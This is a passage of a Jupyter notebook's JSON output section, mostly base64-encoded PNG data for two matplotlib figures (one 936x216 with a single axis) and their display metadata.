hqm4+PDyUlJfU5c3FPZ5zH45Gfnx8VFxc/sl9WVhZFRkaqZcB0dnamDz74QNNLZujq6qLY2Fg1GyYmJhQbG9snzeUncf78ebK2tiYOh/NMZ5zH49GYMWM0tmltbc0c95133nnsPX6YiIgIphyoMjIePHhQo/NobW2ln376Sa1cOTs799n5fBzXr1+nOXPmkLGxMXE4HLK3t6dNmzZRRkYGLV68WK2teFK79fC26dOna9WBJCKqrq6mlStXqtWrcePGadTpKykpoTNnzlBmZuYjOu1isZgSEhKYPBCqzva+ffue2r4+LydOnCA/Pz8mL0F0dDQlJiZSRESE2vP+7LPPqLq6WmN7D/O4+yaRSGjVqlVkY2NDc+bMoezsbK3aPHDgAMXExJCdnR3Z29uTvb09GRoakoODA82fP5/i4uKoqKjoib/fs2cPFRUVPVdQ2MTEhHg8Hl26dOmpPpdCoaD09HQyNzdXK1teXl60c+fOZ/omOnXGFQoF3blzh0kuEB0drfXkFYmJiWRjY0O+vr60evVq2rp1K+Xk5JBcLieFQsF8lErlEz8KhYLkcjmVl5fT2rVrycTEpE8vgY8++ogcHByIzWZTVFQUnTt3TqvXWltbSzExMSQQCMjGxoY++ugjys3NfWwBUSgUVFRURFFRUUzSn9jYWJ2L3zc3N1NgYCBxuVyKjIx8YgpgTRGJRPTSSy8xZWvatGmUkZGhE1uP42Fn3MnJiTZu3Kh1OzNnzmSSzzzNeQgJCaHhw4eTmZkZ42zY29vT22+/3etRkPLycvrmm28oOjqavvjii0e+Lysro/DwcLXzMjExoRUrVug8VfzJkydpzJgxai8Zd3f3XpfriooKio6OZiJJqmRF8+fPJ3Nzc+Jyucx9VD1jY2NjCg8Pp1OnTmm9MyuTyWjLli3k6en5TGd81KhR9OGHH1JZWVmf7fV0xlWRsyNHjqjt89133zEjmqpP//79ae3atVRYWKjpJRMRUWZmJr3yyitqnZBx48ZRXFxcn9JxPw2lUklpaWkUHx9PmzZtosjISFqzZg19//33tGDBAjI0NGTOwcLCgk6ePKmxzZ6RcTabTStXrnxiHamurqaxY8cyEU3V72bPnt2nDnVPSktLaeLEiWrPcvjw4VoNjG3bto0po9bW1nT06FFmVGHlypVqzxgABQUF0d69e0kul5NcLqe6ujpavnw5Mzo0depUSkxM1GpiLVVynIcDKZo640T0xBGU+vp6mjRpEtNWcjgc+uKLL7TiiBM9CLbFxMQQi8UiY2NjeuONN5hkO1FRUcxoU18TCvWFY8eOUVBQELm7u9O//vUvjRNVPUxPv629vZ1WrlxJoaGh9OWXX1Jzc/MzR7Pa2tqe+5x4PB6NGjXqqR0ZoVBIcXFxZGJiwjjg7733Hnl7exOfzyc+n09DhgyhDRs2PPFdpVNnvKOjg/7xj38wFfDChQtaz7bZ3d1NtbW11NjYSEKhkLq7u/tsQ6FQUFdXF1VVVfVpqH3QoEHE4XAoKCiIDhw4oJMsjJ2dnbRz504KCwsjCwsLcnBwoIkTJ9KyZcto1apVtGrVKlq+fDlNnDiRXF1dydTUlGJiYujw4cPU2Nio04i4QqGgiIgI4vF45OrqSsePH9dag/Mw9+/fJyMjI8YZu3z5stbv95PIycmh8PBwtcY8LCxM6w0O0QNn3MjI6InOOJfLpbi4OGpubqb29nY6d+4c7d+/n+Li4iglJYXq6+t7XR++/fZbcnBwIAcHB/rLX/5CRA8am/T0dPryyy8pKCjokeH+YcOG0YEDB3RavlpbW+nNN99UcxDt7OxozZo1vY4Qy2QyKi4uVouy83g8JnrX00kdO3YsffTRR5ScnEwtLS0aTcN5Gnl5ebRkyZInOuNGRka0ePFi2rBhA1VXV2t0r0UiEf3www9kaWnJRNSioqKoo6ODampqaMOGDcx9VjlYPj4+tHHjRmpqatLKc25vb6dx48apOWkvvvgiJScnU1dXl9YyMPZELpeTVCql7u5u6ujoIJFIRNu2bSN/f3+mLNvY2ND69eu18px7RsZVHeTw8HBavHgxxcbGMn9jY2MpMjJSLSLu7+9P69ato7y8vD6PgBA9KOupqank7u7O3Gc+n0/79+9/5nGVSiVzr57Ftm3bGIcwMjKSampq6Pjx4+Tv708mJiZq9WrRokV04cIFNX9C9X4rKiqivLw8amho0Gpdu3XrFi1atEhtGgGLxaK1a9fqLCN2RUUFxcbGkqmpqVrGV00zmfckJSWFXnjhBWKxWOTi4kL19fV07do1euONN8jU1JS55ytWrKDS0lKt2X0SXV1dNG3aNDIyMqI333xT51NHb926RZGRkfT+++9TVVXVc7UbmzdvpqysrOcqXyEhIWRiYkK3bt1Sqy9yuZxKSkro66+/poiICGaUPjo6mu7evUtCoZAKCwvp22+/paioKLKzsyNjY2Py8PCglStXPmJHpxk46fdFUgAwZswYBAcHa301L5/Ph729vVYWJbDZbBgZGcHQ0LDXCw127tyJpqYm9OvXDzNmzMDw4cN1koXR2NgYs2bNwvjx45GQkIC0tDQUFBQgNzeXWUVNvy+OGTJkCBYvXoxhw4bBwcEBRkZGWl288TBVVVVIS0uDVCrFW2+9hWHDhmlV9qwnPcuWKtukrqUMVeTm5j4iq8dmszXOjNcbDAwMYGdnh7/85S+YPn06oyAyduxYRjGCx+OBy+X2uiwPGjQIAQEBSE1NRUpKClatWoX29nZcu3YNnZ2daG9vZ+69kZERZs2ahdmzZ2PYsGE6zRuwZcsWJCYmMgsoWb8ngVmwYEGvF15xOBx4eHjgm2++gZeXl1rdUdURb29v+Pr6wtnZGRYWFjA2NtZoIfazsLOzw4QJE1BXV4eUlBRmIRaLxcLw4cOxZcsWODo6gs/nw8zMTKN7LRAIEBgYiPHjx+P48eOQSqW4ceMGXnrpJYjFYhQVFakpeZibm+PVV1/FvHnztLIITCwW49SpUygsLGQWtQUGBiIqKgoDBw7UmdKWgYEB8w7i8/koKytDeno6I6dpaGgIf39/vP7661qRvfX19cXNmzfR3d3NJKZKTU1FVlaWmjwoi8WCRCJhlIl8fX2xadMmBAYGwtTUVKMFjE1NTbh27Rqjy89isfDGG29gypQpzzyuQqHAvXv3cPfuXUyaNOm57EmlUhQWFmLFihXIysrC/fv3GXUaHx8fLFmyBNHR0XBzc1OrT6r3m0rly8DA4LnLmVwux88//4zly5c/8t2dO3eQkJCAEydOICsri5GZZLPZCA0NxZgxY3Qi8yuVSlFVVYXr168zOuP9+/fH6tWrtar41NnZySRAa2lpwYoVK1BWVoaKigp0dXXB2NgYL774ImJjY/us7d0btm7dipycHHh6eiI8PFynqm3Ag2RewAM/wNHR8bnKjEQiYfJyPIu//vWvWLZsGWJjYzFmzBhYWVmhuroa5eXlTJI2oVAIHo+H1atXY9WqVXB2doaBgQGj8DVz5kx0dHTg3r176OzsVFN2eRZaccZlMhmKi4vBYrFga2urM8dM2w5mb19ynZ2d2LdvHzo7O/Hyyy9jypQpOk04Y2pqClNTU8ydOxcRERFoaGhAW1sb2traUFVVBYVCATc3NwQGBsLT0xOmpqY6zUBFv+tdv//++xAKhVi4cCFefPFF2NjY6NT5VxEaGqo17dTnYdy4cdi3bx+jpqKS1fujMDMzw/jx4zF9+nRMnDhRrWHXhiqCu7s7vL29cf36dZSVlaG+vh5yuRzNzc1q+4WEhCA6OhpTp06Ft7e3TiQFe5Kfn4+mpiZmFbyDgwPGjx/f54ynXC4Xnp6eWLFiBaPe0hNVPePz+X9IVkJzc3OEh4fD29ubkcNTYWNjg6CgIK3VYxaLBS8vL8TExKC0tBT5+fno7OzE1atXIZfLGXUR4EF5iI6OxsSJE2Fra6txnRaJRDh48CA2bdrEdKwcHR3x0UcfYfjw4b1OF91XOjs7kZ2draYDbmNjg7lz56olStOEmTNnqnU4FAoFFAoFc39ZLBaUSiXYbDbz19vbG2vXrkVwcLBW2jWFQgGRSMQ4xGw2G2FhYc/lgKo6/c/TOXJzc8PIkSORl5eHxsZGXLp0CR0dHbCyssKAAQMwZswYhIaGYvjw4bC3t39iZ6e3HQ+5XI7s7Gxs3rwZo0ePRn5+PogIJSUlKCwsRH19Paqrq3H//n2IxWJYWloiJiYGvr6+GDNmjEZKJk9CIpEgIyMD33//PZNoysDAAF9//bXW9dx5PB6j6KRSpBGLxZBKpeDz+fjwww8xZcoUDBw4UOcBo/Lycpw5cwatra2YP38+hg4dqtMgmVgsRn5+PiIiIjBmzJjnbh9jYmJgZ2f3XGVt4sSJyXoXRQAAD3lJREFUmD9/Pg4dOoRjx46Bx+NBKBQyZWnYsGEICwvD0KFD4e3trZZnhMPhwMLCAhYWFlAqlRgwYABkMlmvnoPWnHGVzuYf5Zj9GdTW1qKsrAxyuRwDBgz4w6K09vb2sLe3h1KphEKhgFgsRnNzM5RKJSwtLbUmO/YsFAoFLly4gF9//RVEhOjo6F5nqusrVlZWGDt2rM4TGPXExcUFs2fPxv3795GTkwMXF5fnjhr1luDgYCbJC/DAMZo0aRJmz54NPz8/rTkNPWH9Lusml8shkUjUssepIu2RkZGYO3cuQkND4erq+oeMCvj5+SE3Nxfl5eWwsbHB1KlTsWDBAo2kBQ0MDHQeuXleuFwubG1tYWtr+4fYs7CwQHh4OKRSKfbu3Yvr168z+s4q3N3d8eabb2LChAkYOHCgVpwIkUiE8+fPIz8/n9kmkUiQkpKChoYGTJ069Q9JnFVTU4Pz58+jqKgISqUSVlZWGD9+PCZPnqw1G1OnToWhoSH27NmD3Nxctfv7cFTO3Nwc7u7uWLNmDaKjo7XWuTUzM0NAQACsrKzQ1NQEc3Pzx6ZofxyqaPXzBNL8/f2xZs0apKeno6ioiNk+ZcoU2NrawtvbG/b29jAxMdGqM8pms2Fqaori4mJ88cUXqK6uBvBAG7q2tpbp1JqZmSEoKAiTJk3CtGnT4OTkpLOgWVdXF/Lz83Hx4kWIxWJwuVzMnDkTkZGRWm8r+/XrpyabR0SwtrZGQEAA/Pz8MG/ePLi6uv4hKeHPnDmDwsJCDB06FBMmTNBJxu2ecDgczJ8/H4MGDepVZl4vLy+w2eznqgOqhGMBAQFqybtU5W7AgAHw8PCAi4vLU8u1auZFb9GaF6VKDTts2LD/s844j8eDtbU16uvr/xT7PXVN/0inFHigcXrv3j0cPHiQyTLm6Oj4h1R84MH0p0GDBul0+sDjmDJlChQKBTIzM+Hl5YXw8HCd2TE0NERFRQVYLBb69++PcePG6VQj3tjYGAEBAYiMjERubi4qKyvBZrPRv39/BAcHw87ODlOnTsXIkSO1pk/8PEybNg3GxsaoqKiAjY0Nxo8fr3Gym/9mOBwO3NzcMGvWLHC5XHR0dDAOso2NDRwdHfHiiy9iwYIFcHJy0kr73djYiH379qllrgUeRLhycnJgYWGhlnVSl9y9exdZWVnMEL+7uztmzZql1Y7AgAEDMGDAALDZbOzatQs5OTlquQE4HA6TzMfR0REjRozA/PnztRrIMDY2RmhoKJYtW4bm5maYm5v3KS33s3B0dGQSvZSVlQF44MxrI7X9s1C9b+Lj45ltfn5+TJIkV1dXeHt7IzAwEKNHj9b5dA0DAwOYm5vD29sbUqkUdnZ2eOutt3Qyeujg4ICIiAgm14ODgwMcHR0RHByMwYMHw9XV9Q/xvaRSKc6cOfP/2rv3mKrrP47jz6MejoiWE+bhIjflMujQzgHEcBQtC7WgZIkErAubYJp/dAFXa81RgSsyN7W5scytciBGI1uyvJEhrPojmbqJTGoyRYYzTlwExznw+4MdpqVd/PH5fozzfmxsev44r+/58P6+vx8+53O+h/7+flauXInNZlN+XTabzXf0zeb/dn6SlJSEw+H40+OehSuVJqUT+Pr6kpmZSUdHBxkZGVN2Mh4ZGUlOTg7BwcFERkYaundYt+vXr/PTTz9x+PBhYPx3/m/2+t0pi8XCI488QmFhoaFbVDyCgoIoLi5WnmO327Hb7cpzbrRgwQJyc3Ox2WwcPHiQlpYWZsyYQVpaGmvWrDF0S86NHA7HLRui+P/4+/uzevVqhoaGqK+vByAmJga73U5OTs6knV9jY2NcunSJ995776aFC7PZTEpKCgUFBaxcuRKr1TopeX9neHh44kuPZs2aRUJCAunp6UqyVq9ejdvtprGxkatXr07sFffx8SEuLo6nnnoKf3//O95y9XeCgoJ45513lDz3jXx8fAgPDzfknQ2P0dFRfvvttz9N+rOzsycWp5KTk4mPjzfsmObOncuDDz6I2WxmcHCQiIiIiW9GnmxhYWHk5eWRlpY2sa3IqHfXbnTmzBlaW1uZP38+qamphm03M4oRWxVvxeR0Om+7s13H5Efcnfr6+vjwww8pKyvDYrGQmprKRx99RExMjCHbVIQQ/w1jY2OcP3+edevW8d133wHj3wAZFRXFrl27cDgck/KhyX/q8uXLvP/++zQ2NhIZGUlBQQGrVq2SviXEvzQ6OkpRURGff/45RUVFvP7668q3qEw1nm+Q/yPpRuIfMZlME3d3sNlsfPHFF/j7++s+LCHEXcZkMhEYGMjatWv5+eefMZlMrFmzhu3bt2t5NzEoKIht27YZnivEVNPb20tjYyO+vr6kpKQo/zC/N5GVcSGEEEIIIRS7o5Xx0dHRW94KTAghhBBCCPHP3W5P+l9Oxvv7+5UcjBBCCCGEEAL0fGxUCCGEEEIIIZNxIYQQQgghdJHJuBBCCCGEEJrIZFwIIYQQQghNZDIuhBBCCCGEJjIZF0IIIYQQQpNJn4xXVVXx8MMPM3/+fNavXz/ZT39b169fZ+PGjdhsNhYsWEBaWhqHDx82JFvXawYoLi4mNjaW0NBQkpKS+PTTT5VnhoSE3PQzb948SktLlefqHGcd2TprGvTU1o06OjqwWq0UFxcbkvfEE09gtVon6jo5OdmQXIC6ujpSUlIIDg7GbrfT0tJiSG5vby8FBQUEBwdjs9nYv3+/8kxd/QPg3LlzZGVlERYWhsPh4OuvvzYkV8c4g3dej72tb124cIGcnBzCw8OJiYmhtLQUl8tlSLau88nDyLFWXdN/eZ/xOxEYGEhJSQnHjh1jaGhosp/+tlwuFyEhIXzzzTeEhoZy6NAhCgsLaW5uJjw8XGm2rtcM8Morr7Bjxw4sFgvt7e1kZmZy//33Y7fblWVeunRp4t8DAwPExsayatUqZXkeOsdZR7bOmgY9tXWjkpISEhMTDcnyqKys5LnnnjM0s7Gxkc2bN7Nnzx6SkpLo7u42LLukpAQfHx/a29s5ffo0ubm52Gw24uLilGXq6h8ul4v8/HwKCwupr6/nxIkT5OXlERcXR1RUlNJsHeMM3nk99ra+VVJSQkBAAOfOneP3338nOzubjz/+mBdffFFprs7zycPIsVZd05O+Mv7kk0+SmZnJvHnzJvup/5Kfnx9vvPEG4eHhTJs2jRUrVhAWFkZra6vybF2vGSAuLg6LxQKAyWTCZDLx66+/GpZ/4MABAgICWLp0qfIsneOsI1tnTYPe2qqrq+Pee+/loYceMiRPpy1btrBp0yYWL17MtGnTCA4OJjg4WHnu4OAgBw4c4M0332T27NmkpqayYsUK9u3bpzzbw8j+0d7eTnd3Ny+99BLTp08nPT2dJUuWUFNTozRX5zh74/XY2/rWhQsXyM7OZubMmVitVpYtW0ZbW5vyXF3nk4fRY626pqfsnvGenh46OjqUrzzcDV577TWCgoJYvHgxVquVxx57zLDs6upqnnnmGUwmk2GZ3kpHTeuorb6+PioqKigvL1ee9UdlZWUsXLiQ5cuX09TUpDzP7XZz8uRJrl69isPhID4+ntLSUkNWMc+fP8+MGTNuWsVKSEjg7NmzyrM9dPePsbEx5a/3bhhn3YzuXd7Ut9avX09dXR3Xrl2jq6uLI0eOsGzZMkOPwcOI8wn0XiM8Jrump+RkfGRkhKKiIvLy8oiJidF9OMpt3bqVixcv0tDQQFZW1sSqgGqdnZ00NzeTl5dnSJ4301XTOmqrvLycZ599lpCQEOVZNyorK6O1tZWzZ8/y/PPPk5eXp3xFraenh5GREb766isaGhpoamri1KlTfPDBB0pzYXzFds6cOTc9ds899zAwMKA8G4zvH9HR0QQEBLB9+3ZGRkY4duwYzc3Nyv/w0T3OuunoXd7Ut5YuXUpbWxuhoaHEx8djt9vJzMxUnqvrfAJ9Y+2hoqan3GR8dHSUdevW4ePjQ2Vlpe7DMcz06dNJTU2lq6uL3bt3G5K5b98+HnjgASIiIgzJ81a6a9rI2jp16hTHjx9nw4YNSnNuJTk5mTlz5mCxWMjPz2fJkiUcOnRIaaavry8w/qGzwMBA/P392bBhg/JcGH/btb+//6bH+vr6mD17tvJsML5/mM1m9u7dy7fffktMTAw7d+4kOztb+ZYg3eOsk87e5Q19a3R0lKeffpqsrCy6urr45ZdfcDqdbN68WXm2rvNJ5zUC1NX0pH+AU6exsTE2btxIT08P+/fvx2w26z4kw7lcLsP2x9XU1PDyyy8bkuWt7qaaNqK2Tpw4QWdnJzabDRhfVXS73bS1tfH9998rzf4jk8nE2NiY0oy5c+cSEhJy0zYNo7ZsREVF4XK56OjoYNGiRQCcOXPGsK0EOvqHzWbj4MGDE//PyMhQvjKve5x1uVt611TuW729vVy8eJGioiIsFgsWi4WCggLKy8t5++23leV66DifdF4jVNb0pK+Mu1wuhoeHcbvduN1uhoeHDbvNzquvvkp7ezs1NTUTK05G0PWar1y5Ql1dHQMDA7jdbo4ePUpdXR3p6enKs3/88UcuX75syF0QPHTWlq5sXTWtq7ZeeOEFTp48SVNTE01NTRQWFpKRkcGXX36pNNfpdHL06NGJ32ttbS0tLS08+uijSnMB8vPzqaqq4sqVKzidTnbt2sXy5cuV5/r5+ZGVlUVFRQWDg4P88MMPNDQ0kJubqzxbR/+A8Unw8PAw165dY8eOHXR3d5Ofn680U+c4e9v12Nv6lr+/P+Hh4XzyySe4XC6cTifV1dXcd999SnM9dJxPusYa1Nb0pE/GKysrCQwMZNu2bdTW1hIYGGjI21OdnZ3s2bOH06dPExsbO3EP29raWuXZul6zyWRi9+7dxMfHExERwVtvvcWWLVt4/PHHlWdXV1eTmZn5p72QKukaZ13ZOmtaV23NmjULq9U68ePn58fMmTMJCAhQmutyuXj33XeJiopi4cKFVFVVsXfvXkNu0bVp0yYSExNJSkoiJSWFhIQESkpKlOfC+N7aoaEhoqOjWbt2LVu3bjVkxVZH/4DxrTGxsbFER0dz/Phx6uvrDdlPrGucve167G19C+Czzz7jyJEjLFq0iMTERMxmMxUVFcpzQc/5pGusVde0yel0qn0fVgghhBBCCHFLU+4DnEIIIYQQQvxXyGRcCCGEEEIITWQyLoQQQgghhCYyGRdCCCGEEEITmYwLIYQQQgihiUzGhRBCCCGE0EQm40IIIYQQQmgik3EhhBBCCCE0kcm4EEIIIYQQmvwPTxDXR11650AAAAAASUVORK5CYII=\n", "text/plain": [ "<Figure size 936x216 with 1 Axes>" ] }, "metadata": {} }, { "output_type": "display_data", "data": { "image/png": "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